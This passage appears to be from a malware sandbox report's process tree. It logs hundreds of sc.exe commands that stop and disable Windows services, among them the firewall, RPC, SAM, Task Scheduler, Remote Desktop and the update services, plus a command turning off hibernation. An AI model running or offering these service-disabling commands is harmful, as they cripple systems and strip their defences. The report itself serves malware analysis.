  - - C:\Windows\system32\sc.exe
      "sc" config FontCache start= disabled
      4⤵
      PID:4748
  - - C:\Windows\system32\sc.exe
      "sc" stop FrameServer
      4⤵
      PID:5424
  - - C:\Windows\system32\sc.exe
      "sc" stop GoogleChromeElevationService
      4⤵
      PID:3516
  - - C:\Windows\system32\sc.exe
      "sc" stop GoogleUpdaterInternalService141.0.7340.0
      4⤵
      Launches sc.exe
      PID:1468
  - - C:\Windows\system32\sc.exe
      "sc" config FontCache3.0.0.0 start= disabled
      4⤵
      PID:2096
  - - C:\Windows\system32\sc.exe
      "sc" stop GoogleUpdaterService141.0.7340.0
      4⤵
      PID:2772
  - - C:\Windows\system32\sc.exe
      "sc" stop gpsvc
      4⤵
      PID:888
  - - C:\Windows\system32\sc.exe
      "sc" stop GraphicsPerfSvc
      4⤵
      PID:516
  - - C:\Windows\system32\sc.exe
      "sc" config FrameServer start= disabled
      4⤵
      PID:448
  - - C:\Windows\system32\sc.exe
      "sc" stop hidserv
      4⤵
      PID:5928
  - - C:\Windows\system32\sc.exe
      "sc" config GoogleUpdaterInternalService141.0.7340.0 start= disabled
      4⤵
      PID:2236
  - - C:\Windows\system32\powercfg.exe
      "powercfg" /h off
      4⤵
      Power Settings
      PID:3860
  - - C:\Windows\system32\sc.exe
      "sc" config GoogleChromeElevationService start= disabled
      4⤵
      Launches sc.exe
      PID:5652
  - - C:\Windows\system32\sc.exe
      "sc" stop HvHost
      4⤵
      PID:4012
  - - C:\Windows\system32\sc.exe
      "sc" config GoogleUpdaterService141.0.7340.0 start= disabled
      4⤵
      PID:3512
  - - C:\Windows\system32\sc.exe
      "sc" config hidserv start= disabled
      4⤵
      PID:1524
  - - C:\Windows\system32\sc.exe
      "sc" stop icssvc
      4⤵
      PID:1516
  - - C:\Windows\system32\sc.exe
      "sc" config gpsvc start= disabled
      4⤵
      Launches sc.exe
      PID:1712
  - - C:\Windows\system32\sc.exe
      "sc" stop IKEEXT
      4⤵
      PID:5552
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5808
  - - C:\Windows\system32\sc.exe
      "sc" config GraphicsPerfSvc start= disabled
      4⤵
      Launches sc.exe
      PID:4344
  - - C:\Windows\system32\sc.exe
      "sc" stop InstallService
      4⤵
      Launches sc.exe
      PID:4400
  - - C:\Windows\system32\sc.exe
      "sc" stop iphlpsvc
      4⤵
      PID:1348
  - - C:\Windows\system32\sc.exe
      "sc" config HvHost start= disabled
      4⤵
      PID:1580
  - - C:\Windows\system32\sc.exe
      "sc" stop IpxlatCfgSvc
      4⤵
      PID:2556
  - - C:\Windows\system32\sc.exe
      "sc" stop KeyIso
      4⤵
      PID:3416
  - - C:\Windows\system32\sc.exe
      "sc" config icssvc start= disabled
      4⤵
      PID:5476
  - - C:\Windows\system32\sc.exe
      "sc" stop KtmRm
      4⤵
      PID:4104
  - - C:\Windows\system32\sc.exe
      "sc" config IKEEXT start= disabled
      4⤵
      PID:316
  - - C:\Windows\system32\sc.exe
      "sc" config InstallService start= disabled
      4⤵
      PID:5904
  - - C:\Windows\system32\sc.exe
      "sc" stop LanmanServer
      4⤵
      PID:1200
  - - C:\Windows\system32\sc.exe
      "sc" config iphlpsvc start= disabled
      4⤵
      PID:4420
  - - C:\Windows\system32\sc.exe
      "sc" config IpxlatCfgSvc start= disabled
      4⤵
      PID:5248
  - - C:\Windows\system32\sc.exe
      "sc" config KeyIso start= disabled
      4⤵
      Launches sc.exe
      PID:1344
  - - C:\Windows\system32\sc.exe
      "sc" stop LanmanWorkstation
      4⤵
      PID:3292
  - - C:\Windows\system32\sc.exe
      "sc" stop lfsvc
      4⤵
      PID:3120
  - - C:\Windows\system32\sc.exe
      "sc" config KtmRm start= disabled
      4⤵
      PID:3768
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4224
  - - C:\Windows\system32\sc.exe
      "sc" stop LicenseManager
      4⤵
      PID:3628
  - - C:\Windows\system32\sc.exe
      "sc" stop lltdsvc
      4⤵
      PID:6052
  - - C:\Windows\system32\sc.exe
      "sc" stop lmhosts
      4⤵
      PID:1708
  - - C:\Windows\system32\sc.exe
      "sc" stop LSM
      4⤵
      PID:4824
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:372
  - - C:\Windows\system32\sc.exe
      "sc" config LanmanServer start= disabled
      4⤵
      PID:4040
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1764
  - - C:\Windows\system32\sc.exe
      "sc" config LanmanWorkstation start= disabled
      4⤵
      PID:2528
  - - C:\Windows\system32\sc.exe
      "sc" stop LxpSvc
      4⤵
      PID:4648
  - - C:\Windows\system32\sc.exe
      "sc" config lfsvc start= disabled
      4⤵
      PID:5624
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4792
  - - C:\Windows\system32\sc.exe
      "sc" config LicenseManager start= disabled
      4⤵
      PID:5700
  - - C:\Windows\system32\sc.exe
      "sc" stop MapsBroker
      4⤵
      PID:4300
  - - C:\Windows\system32\sc.exe
      "sc" config lltdsvc start= disabled
      4⤵
      PID:4312
  - - C:\Windows\system32\sc.exe
      "sc" stop MicrosoftEdgeElevationService
      4⤵
      Launches sc.exe
      PID:2524
  - - C:\Windows\system32\sc.exe
      "sc" config lmhosts start= disabled
      4⤵
      PID:5684
  - - C:\Windows\system32\sc.exe
      "sc" config LSM start= disabled
      4⤵
      PID:5280
  - - C:\Windows\system32\sc.exe
      "sc" config LxpSvc start= disabled
      4⤵
      PID:972
  - - C:\Windows\system32\sc.exe
      "sc" stop MixedRealityOpenXRSvc
      4⤵
      PID:5736
  - - C:\Windows\system32\sc.exe
      "sc" stop MozillaMaintenance
      4⤵
      PID:2064
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2788
  - - C:\Windows\system32\sc.exe
      "sc" config MapsBroker start= disabled
      4⤵
      Launches sc.exe
      PID:1116
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1444
  - - C:\Windows\system32\sc.exe
      "sc" stop mpssvc
      4⤵
      PID:1888
  - - C:\Windows\system32\sc.exe
      "sc" stop MSDTC
      4⤵
      PID:5412
  - - C:\Windows\system32\sc.exe
      "sc" config MicrosoftEdgeElevationService start= disabled
      4⤵
      PID:5056
  - - C:\Windows\system32\sc.exe
      "sc" stop MSiSCSI
      4⤵
      PID:856
  - - C:\Windows\system32\sc.exe
      "sc" stop msiserver
      4⤵
      PID:5608
  - - C:\Windows\system32\sc.exe
      "sc" config MixedRealityOpenXRSvc start= disabled
      4⤵
      PID:3876
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2136
  - - C:\Windows\system32\sc.exe
      "sc" config MozillaMaintenance start= disabled
      4⤵
      PID:2404
  - - C:\Windows\system32\sc.exe
      "sc" stop MsKeyboardFilter
      4⤵
      PID:4968
  - - C:\Windows\system32\sc.exe
      "sc" config mpssvc start= disabled
      4⤵
      PID:1140
  - - C:\Windows\system32\sc.exe
      "sc" config MSDTC start= disabled
      4⤵
      PID:5776
  - - C:\Windows\system32\sc.exe
      "sc" stop NaturalAuthentication
      4⤵
      PID:6096
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2368
  - - C:\Windows\system32\sc.exe
      "sc" config MSiSCSI start= disabled
      4⤵
      PID:3664
  - - C:\Windows\system32\sc.exe
      "sc" config msiserver start= disabled
      4⤵
      PID:1808
  - - C:\Windows\system32\sc.exe
      "sc" stop NcaSvc
      4⤵
      PID:5756
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2096
  - - C:\Windows\system32\sc.exe
      "sc" stop NcbService
      4⤵
      PID:2772
  - - C:\Windows\system32\sc.exe
      "sc" config MsKeyboardFilter start= disabled
      4⤵
      PID:2472
  - - C:\Windows\system32\sc.exe
      "sc" stop NcdAutoSetup
      4⤵
      PID:5724
  - - C:\Windows\system32\sc.exe
      "sc" stop Netlogon
      4⤵
      PID:2156
  - - C:\Windows\system32\sc.exe
      "sc" stop Netman
      4⤵
      PID:3712
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5720
  - - C:\Windows\system32\sc.exe
      "sc" config NaturalAuthentication start= disabled
      4⤵
      PID:1120
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3448
  - - C:\Windows\system32\sc.exe
      "sc" stop netprofm
      4⤵
      PID:516
  - - C:\Windows\system32\sc.exe
      "sc" config NcdAutoSetup start= disabled
      4⤵
      PID:3424
  - - C:\Windows\system32\sc.exe
      "sc" config NcaSvc start= disabled
      4⤵
      PID:3428
  - - C:\Windows\system32\sc.exe
      "sc" config NcbService start= disabled
      4⤵
      PID:3260
  - - C:\Windows\system32\sc.exe
      "sc" stop NetSetupSvc
      4⤵
      PID:3512
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2488
  - - C:\Windows\system32\sc.exe
      "sc" config Netman start= disabled
      4⤵
      PID:1524
  - - C:\Windows\system32\sc.exe
      "sc" stop NetTcpPortSharing
      4⤵
      PID:4108
  - - C:\Windows\system32\sc.exe
      "sc" config Netlogon start= disabled
      4⤵
      Launches sc.exe
      PID:5420
  - - C:\Windows\system32\sc.exe
      "sc" stop NgcCtnrSvc
      4⤵
      PID:1540
  - - C:\Windows\system32\sc.exe
      "sc" stop NgcSvc
      4⤵
      Launches sc.exe
      PID:5004
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4400
  - - C:\Windows\system32\sc.exe
      "sc" stop NlaSvc
      4⤵
      PID:732
  - - C:\Windows\system32\sc.exe
      "sc" config NetSetupSvc start= disabled
      4⤵
      PID:1256
  - - C:\Windows\system32\sc.exe
      "sc" stop nsi
      4⤵
      PID:5344
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1580
  - - C:\Windows\system32\sc.exe
      "sc" config NetTcpPortSharing start= disabled
      4⤵
      PID:5524
  - - C:\Windows\system32\sc.exe
      "sc" stop ose64
      4⤵
      Launches sc.exe
      PID:2432
  - - C:\Windows\system32\sc.exe
      "sc" stop p2pimsvc
      4⤵
      PID:5980
  - - C:\Windows\system32\sc.exe
      "sc" config NgcCtnrSvc start= disabled
      4⤵
      PID:624
  - - C:\Windows\system32\sc.exe
      "sc" stop p2psvc
      4⤵
      PID:5788
  - - C:\Windows\system32\sc.exe
      "sc" config ose64 start= disabled
      4⤵
      PID:116
  - - C:\Windows\system32\sc.exe
      "sc" config NgcSvc start= disabled
      4⤵
      PID:400
  - - C:\Windows\system32\sc.exe
      "sc" config NlaSvc start= disabled
      4⤵
      PID:1088
  - - C:\Windows\system32\sc.exe
      "sc" config nsi start= disabled
      4⤵
      PID:2468
  - - C:\Windows\system32\sc.exe
      "sc" config p2pimsvc start= disabled
      4⤵
      PID:4176
  - - C:\Windows\system32\sc.exe
      "sc" stop PcaSvc
      4⤵
      PID:4500
  - - C:\Windows\system32\sc.exe
      "sc" stop PeerDistSvc
      4⤵
      PID:2504
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5160
  - - C:\Windows\system32\sc.exe
      "sc" stop perceptionsimulation
      4⤵
      PID:5472
  - - C:\Windows\system32\sc.exe
      "sc" stop PerfHost
      4⤵
      PID:3932
  - - C:\Windows\system32\sc.exe
      "sc" config p2psvc start= disabled
      4⤵
      PID:4276
  - - C:\Windows\system32\sc.exe
      "sc" stop PhoneSvc
      4⤵
      PID:3884
  - - C:\Windows\system32\sc.exe
      "sc" config PcaSvc start= disabled
      4⤵
      Launches sc.exe
      PID:1288
  - - C:\Windows\system32\sc.exe
      "sc" config PeerDistSvc start= disabled
      4⤵
      Launches sc.exe
      PID:6004
  - - C:\Windows\system32\sc.exe
      "sc" stop pla
      4⤵
      PID:5692
  - - C:\Windows\system32\sc.exe
      "sc" stop PlugPlay
      4⤵
      PID:2844
  - - C:\Windows\system32\sc.exe
      "sc" config perceptionsimulation start= disabled
      4⤵
      PID:5892
  - - C:\Windows\system32\sc.exe
      "sc" config PerfHost start= disabled
      4⤵
      PID:4760
  - - C:\Windows\system32\sc.exe
      "sc" config PhoneSvc start= disabled
      4⤵
      PID:4288
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4536
  - - C:\Windows\system32\sc.exe
      "sc" stop PNRPAutoReg
      4⤵
      PID:5144
  - - C:\Windows\system32\sc.exe
      "sc" stop PNRPsvc
      4⤵
      PID:1092
  - - C:\Windows\system32\sc.exe
      "sc" stop PolicyAgent
      4⤵
      PID:4668
  - - C:\Windows\system32\sc.exe
      "sc" config pla start= disabled
      4⤵
      PID:5192
  - - C:\Windows\system32\sc.exe
      "sc" config PlugPlay start= disabled
      4⤵
      PID:2744
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5840
  - - C:\Windows\system32\sc.exe
      "sc" stop Power
      4⤵
      PID:1260
  - - C:\Windows\system32\sc.exe
      "sc" stop PrintNotify
      4⤵
      PID:3504
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4612
  - - C:\Windows\system32\sc.exe
      "sc" config PNRPAutoReg start= disabled
      4⤵
      PID:3048
  - - C:\Windows\system32\sc.exe
      "sc" config PolicyAgent start= disabled
      4⤵
      PID:2612
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3392
  - - C:\Windows\system32\sc.exe
      "sc" stop ProfSvc
      4⤵
      PID:1944
  - - C:\Windows\system32\sc.exe
      "sc" config Power start= disabled
      4⤵
      PID:6048
  - - C:\Windows\system32\sc.exe
      "sc" config PNRPsvc start= disabled
      4⤵
      PID:5812
  - - C:\Windows\system32\sc.exe
      "sc" stop PushToInstall
      4⤵
      Launches sc.exe
      PID:2428
  - - C:\Windows\system32\sc.exe
      "sc" config PrintNotify start= disabled
      4⤵
      PID:1272
  - - C:\Windows\system32\sc.exe
      "sc" stop QWAVE
      4⤵
      PID:3420
  - - C:\Windows\system32\sc.exe
      "sc" config netprofm start= disabled
      4⤵
      PID:6108
  - - C:\Windows\system32\sc.exe
      "sc" stop RasAuto
      4⤵
      PID:4180
  - - C:\Windows\system32\sc.exe
      "sc" config ProfSvc start= disabled
      4⤵
      PID:5608
  - - C:\Windows\system32\sc.exe
      "sc" stop RasMan
      4⤵
      PID:5704
  - - C:\Windows\system32\sc.exe
      "sc" stop RemoteAccess
      4⤵
      PID:2340
  - - C:\Windows\system32\sc.exe
      "sc" config PushToInstall start= disabled
      4⤵
      PID:4968
  - - C:\Windows\system32\sc.exe
      "sc" stop RemoteRegistry
      4⤵
      PID:5680
  - - C:\Windows\system32\sc.exe
      "sc" stop RetailDemo
      4⤵
      PID:5368
  - - C:\Windows\system32\sc.exe
      "sc" config QWAVE start= disabled
      4⤵
      PID:5284
  - - C:\Windows\system32\sc.exe
      "sc" config RasAuto start= disabled
      4⤵
      Launches sc.exe
      PID:4604
  - - C:\Windows\system32\sc.exe
      "sc" config RemoteAccess start= disabled
      4⤵
      PID:4092
  - - C:\Windows\system32\sc.exe
      "sc" stop RmSvc
      4⤵
      Launches sc.exe
      PID:2796
  - - C:\Windows\system32\sc.exe
      "sc" config RasMan start= disabled
      4⤵
      PID:5396
  - - C:\Windows\system32\sc.exe
      "sc" stop RpcEptMapper
      4⤵
      PID:988
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3152
  - - C:\Windows\system32\sc.exe
      "sc" stop RpcLocator
      4⤵
      PID:5928
  - - C:\Windows\system32\sc.exe
      "sc" config RemoteRegistry start= disabled
      4⤵
      PID:5236
  - - C:\Windows\system32\sc.exe
      "sc" config RetailDemo start= disabled
      4⤵
      PID:2060
  - - C:\Windows\system32\sc.exe
      "sc" stop RpcSs
      4⤵
      PID:2196
  - - C:\Windows\system32\sc.exe
      "sc" stop SamSs
      4⤵
      PID:5184
  - - C:\Windows\system32\sc.exe
      "sc" stop SCardSvr
      4⤵
      PID:2944
  - - C:\Windows\system32\sc.exe
      "sc" config RpcEptMapper start= disabled
      4⤵
      PID:5324
  - - C:\Windows\system32\sc.exe
      "sc" stop ScDeviceEnum
      4⤵
      PID:3260
  - - C:\Windows\system32\sc.exe
      "sc" stop Schedule
      4⤵
      Launches sc.exe
      PID:2416
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4012
  - - C:\Windows\system32\sc.exe
      "sc" config RpcLocator start= disabled
      4⤵
      PID:2864
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1712
  - - C:\Windows\system32\sc.exe
      "sc" config RpcSs start= disabled
      4⤵
      PID:5316
  - - C:\Windows\system32\sc.exe
      "sc" config SamSs start= disabled
      4⤵
      PID:5420
  - - C:\Windows\system32\sc.exe
      "sc" config SCardSvr start= disabled
      4⤵
      PID:1236
  - - C:\Windows\system32\sc.exe
      "sc" stop SCPolicySvc
      4⤵
      PID:4368
  - - C:\Windows\system32\sc.exe
      "sc" config ScDeviceEnum start= disabled
      4⤵
      PID:216
  - - C:\Windows\system32\sc.exe
      "sc" config Schedule start= disabled
      4⤵
      PID:3332
  - - C:\Windows\system32\sc.exe
      "sc" stop SDRSVC
      4⤵
      PID:2432
  - - C:\Windows\system32\sc.exe
      "sc" stop seclogon
      4⤵
      PID:3416
  - - C:\Windows\system32\sc.exe
      "sc" stop SEMgrSvc
      4⤵
      PID:4044
  - - C:\Windows\system32\sc.exe
      "sc" config SCPolicySvc start= disabled
      4⤵
      Launches sc.exe
      PID:3872
  - - C:\Windows\system32\sc.exe
      "sc" stop SENS
      4⤵
      PID:5036
  - - C:\Windows\system32\sc.exe
      "sc" stop SensorDataService
      4⤵
      Launches sc.exe
      PID:212
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5904
  - - C:\Windows\system32\sc.exe
      "sc" stop SensorService
      4⤵
      PID:3220
  - - C:\Windows\system32\sc.exe
      "sc" config SDRSVC start= disabled
      4⤵
      PID:5584
  - - C:\Windows\system32\sc.exe
      "sc" config SEMgrSvc start= disabled
      4⤵
      PID:4424
  - - C:\Windows\system32\sc.exe
      "sc" config seclogon start= disabled
      4⤵
      PID:5744
  - - C:\Windows\system32\sc.exe
      "sc" config SENS start= disabled
      4⤵
      PID:3788
  - - C:\Windows\system32\sc.exe
      "sc" stop SensrSvc
      4⤵
      PID:964
  - - C:\Windows\system32\sc.exe
      "sc" config SensorService start= disabled
      4⤵
      PID:5240
  - - C:\Windows\system32\sc.exe
      "sc" stop SessionEnv
      4⤵
      PID:4580
  - - C:\Windows\system32\sc.exe
      "sc" config SensorDataService start= disabled
      4⤵
      Launches sc.exe
      PID:4620
  - - C:\Windows\system32\sc.exe
      "sc" stop SgrmBroker
      4⤵
      PID:2928
  - - C:\Windows\system32\sc.exe
      "sc" stop SharedAccess
      4⤵
      PID:5472
  - - C:\Windows\system32\sc.exe
      "sc" stop SharedRealitySvc
      4⤵
      PID:3340
  - - C:\Windows\system32\sc.exe
      "sc" config SensrSvc start= disabled
      4⤵
      PID:1152
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3444
  - - C:\Windows\system32\sc.exe
      "sc" config SessionEnv start= disabled
      4⤵
      PID:1068
  - - C:\Windows\system32\sc.exe
      "sc" stop ShellHWDetection
      4⤵
      PID:5692
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2132
  - - C:\Windows\system32\sc.exe
      "sc" stop shpamsvc
      4⤵
      PID:4184
  - - C:\Windows\system32\sc.exe
      "sc" config SgrmBroker start= disabled
      4⤵
      PID:5992
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4760
  - - C:\Windows\system32\sc.exe
      "sc" config SharedRealitySvc start= disabled
      4⤵
      PID:512
  - - C:\Windows\system32\sc.exe
      "sc" config SharedAccess start= disabled
      4⤵
      PID:452
  - - C:\Windows\system32\sc.exe
      "sc" config RmSvc start= disabled
      4⤵
      PID:3128
  - - C:\Windows\system32\sc.exe
      "sc" stop smphost
      4⤵
      PID:3964
  - - C:\Windows\system32\sc.exe
      "sc" stop SmsRouter
      4⤵
      PID:5700
  - - C:\Windows\system32\sc.exe
      "sc" config shpamsvc start= disabled
      4⤵
      PID:4300
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1260
  - - C:\Windows\system32\sc.exe
      "sc" config ShellHWDetection start= disabled
      4⤵
      PID:1092
  - - C:\Windows\system32\sc.exe
      "sc" stop SNMPTRAP
      4⤵
      PID:2080
  - - C:\Windows\system32\sc.exe
      "sc" stop spectrum
      4⤵
      PID:2204
  - - C:\Windows\system32\sc.exe
      "sc" stop Spooler
      4⤵
      PID:3504
  - - C:\Windows\system32\sc.exe
      "sc" stop sppsvc
      4⤵
      PID:516
  - - C:\Windows\system32\sc.exe
      "sc" config smphost start= disabled
      4⤵
      PID:1444
  - - C:\Windows\system32\sc.exe
      "sc" stop SSDPSRV
      4⤵
      PID:2792
  - - C:\Windows\system32\sc.exe
      "sc" config SmsRouter start= disabled
      4⤵
      PID:1944
  - - C:\Windows\system32\sc.exe
      "sc" stop ssh-agent
      4⤵
      PID:3756
  - - C:\Windows\system32\sc.exe
      "sc" config SNMPTRAP start= disabled
      4⤵
      PID:5728
  - - C:\Windows\system32\sc.exe
      "sc" config spectrum start= disabled
      4⤵
      Launches sc.exe
      PID:1208
  - - C:\Windows\system32\sc.exe
      "sc" config Spooler start= disabled
      4⤵
      Launches sc.exe
      PID:5412
  - - C:\Windows\system32\sc.exe
      "sc" config sppsvc start= disabled
      4⤵
      PID:2968
  - - C:\Windows\system32\sc.exe
      "sc" stop SstpSvc
      4⤵
      PID:4788
  - - C:\Windows\system32\sc.exe
      "sc" stop StateRepository
      4⤵
      PID:1196
  - - C:\Windows\system32\sc.exe
      "sc" config ssh-agent start= disabled
      4⤵
      PID:1652
  - - C:\Windows\system32\sc.exe
      "sc" stop stisvc
      4⤵
      PID:1112
  - - C:\Windows\system32\sc.exe
      "sc" config SSDPSRV start= disabled
      4⤵
      Launches sc.exe
      PID:2916
  - - C:\Windows\system32\sc.exe
      "sc" stop StorSvc
      4⤵
      Launches sc.exe
      PID:6100
  - - C:\Windows\system32\sc.exe
      "sc" stop svsvc
      4⤵
      PID:1616
  - - C:\Windows\system32\sc.exe
      "sc" stop swprv
      4⤵
      PID:5368
  - - C:\Windows\system32\sc.exe
      "sc" config SstpSvc start= disabled
      4⤵
      PID:3664
  - - C:\Windows\system32\sc.exe
      "sc" config StateRepository start= disabled
      4⤵
      PID:5104
  - - C:\Windows\system32\sc.exe
      "sc" config stisvc start= disabled
      4⤵
      PID:5300
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2236
  - - C:\Windows\system32\sc.exe
      "sc" stop SysMain
      4⤵
      Launches sc.exe
      PID:4964
  - - C:\Windows\system32\sc.exe
      "sc" stop SystemEventsBroker
      4⤵
      PID:2616
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2772
  - - C:\Windows\system32\sc.exe
      "sc" config StorSvc start= disabled
      4⤵
      PID:3980
  - - C:\Windows\system32\sc.exe
      "sc" config svsvc start= disabled
      4⤵
      PID:1860
  - - C:\Windows\system32\sc.exe
      "sc" config swprv start= disabled
      4⤵
      PID:4516
  - - C:\Windows\system32\sc.exe
      "sc" stop TabletInputService
      4⤵
      PID:3536
  - - C:\Windows\system32\sc.exe
      "sc" stop TapiSrv
      4⤵
      Launches sc.exe
      PID:1120
  - - C:\Windows\system32\sc.exe
      "sc" stop TermService
      4⤵
      PID:3692
  - - C:\Windows\system32\sc.exe
      "sc" config SysMain start= disabled
      4⤵
      Launches sc.exe
      PID:552
  - - C:\Windows\system32\sc.exe
      "sc" config SystemEventsBroker start= disabled
      4⤵
      PID:1064
  - - C:\Windows\system32\sc.exe
      "sc" stop Themes
      4⤵
      PID:1576
  - - C:\Windows\system32\sc.exe
      "sc" stop TieringEngineService
      4⤵
      PID:5268
  - - C:\Windows\system32\sc.exe
      "sc" stop TimeBrokerSvc
      4⤵
      PID:4624
  - - C:\Windows\system32\sc.exe
      "sc" stop TokenBroker
      4⤵
      PID:2492
  - - C:\Windows\system32\sc.exe
      "sc" config TabletInputService start= disabled
      4⤵
      PID:3028
  - - C:\Windows\system32\sc.exe
      "sc" config TapiSrv start= disabled
      4⤵
      PID:1228
  - - C:\Windows\system32\sc.exe
      "sc" config TermService start= disabled
      4⤵
      PID:2056
  - - C:\Windows\system32\sc.exe
      "sc" stop TrkWks
      4⤵
      PID:3736
  - - C:\Windows\system32\sc.exe
      "sc" config Themes start= disabled
      4⤵
      PID:2432
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:732
  - - C:\Windows\system32\sc.exe
      "sc" config TieringEngineService start= disabled
      4⤵
      PID:1344
  - - C:\Windows\system32\sc.exe
      "sc" stop TroubleshootingSvc
      4⤵
      PID:1948
  - - C:\Windows\system32\sc.exe
      "sc" stop TrustedInstaller
      4⤵
      PID:5036
  - - C:\Windows\system32\sc.exe
      "sc" stop tzautoupdate
      4⤵
      PID:1004
  - - C:\Windows\system32\sc.exe
      "sc" config TokenBroker start= disabled
      4⤵
      PID:4984
  - - C:\Windows\system32\sc.exe
      "sc" config TimeBrokerSvc start= disabled
      4⤵
      PID:5964
  - - C:\Windows\system32\sc.exe
      "sc" stop UevAgentService
      4⤵
      PID:4068
  - - C:\Windows\system32\sc.exe
      "sc" config TrkWks start= disabled
      4⤵
      PID:3008
  - - C:\Windows\system32\sc.exe
      "sc" stop UmRdpService
      4⤵
      PID:3220
  - - C:\Windows\system32\sc.exe
      "sc" stop upnphost
      4⤵
      Launches sc.exe
      PID:4168
  - - C:\Windows\system32\sc.exe
      "sc" config TrustedInstaller start= disabled
      4⤵
      PID:5496
  - - C:\Windows\system32\sc.exe
      "sc" config tzautoupdate start= disabled
      4⤵
      PID:3052
  - - C:\Windows\system32\sc.exe
      "sc" config UevAgentService start= disabled
      4⤵
      PID:5196
  - - C:\Windows\system32\sc.exe
      "sc" stop UserManager
      4⤵
      PID:964
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1288
  - - C:\Windows\system32\sc.exe
      "sc" config TroubleshootingSvc start= disabled
      4⤵
      PID:5224
  - - C:\Windows\system32\sc.exe
      "sc" stop UsoSvc
      4⤵
      PID:2752
  - - C:\Windows\system32\sc.exe
      "sc" config UmRdpService start= disabled
      4⤵
      PID:4440
  - - C:\Windows\system32\sc.exe
      "sc" stop VacSvc
      4⤵
      PID:4616
  - - C:\Windows\system32\sc.exe
      "sc" stop VaultSvc
      4⤵
      PID:752
  - - C:\Windows\system32\sc.exe
      "sc" stop vds
      4⤵
      Launches sc.exe
      PID:5844
  - - C:\Windows\system32\sc.exe
      "sc" config upnphost start= disabled
      4⤵
      PID:3584
  - - C:\Windows\system32\sc.exe
      "sc" stop vmicguestinterface
      4⤵
      PID:4376
  - - C:\Windows\system32\sc.exe
      "sc" config UserManager start= disabled
      4⤵
      PID:1152
  - - C:\Windows\system32\sc.exe
      "sc" config UsoSvc start= disabled
      4⤵
      PID:4140
  - - C:\Windows\system32\sc.exe
      "sc" stop vmicheartbeat
      4⤵
      Launches sc.exe
      PID:5620
  - - C:\Windows\system32\sc.exe
      "sc" config VaultSvc start= disabled
      4⤵
      PID:4536
  - - C:\Windows\system32\sc.exe
      "sc" config vds start= disabled
      4⤵
      PID:3320
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5684
  - - C:\Windows\system32\sc.exe
      "sc" config VacSvc start= disabled
      4⤵
      Launches sc.exe
      PID:5072
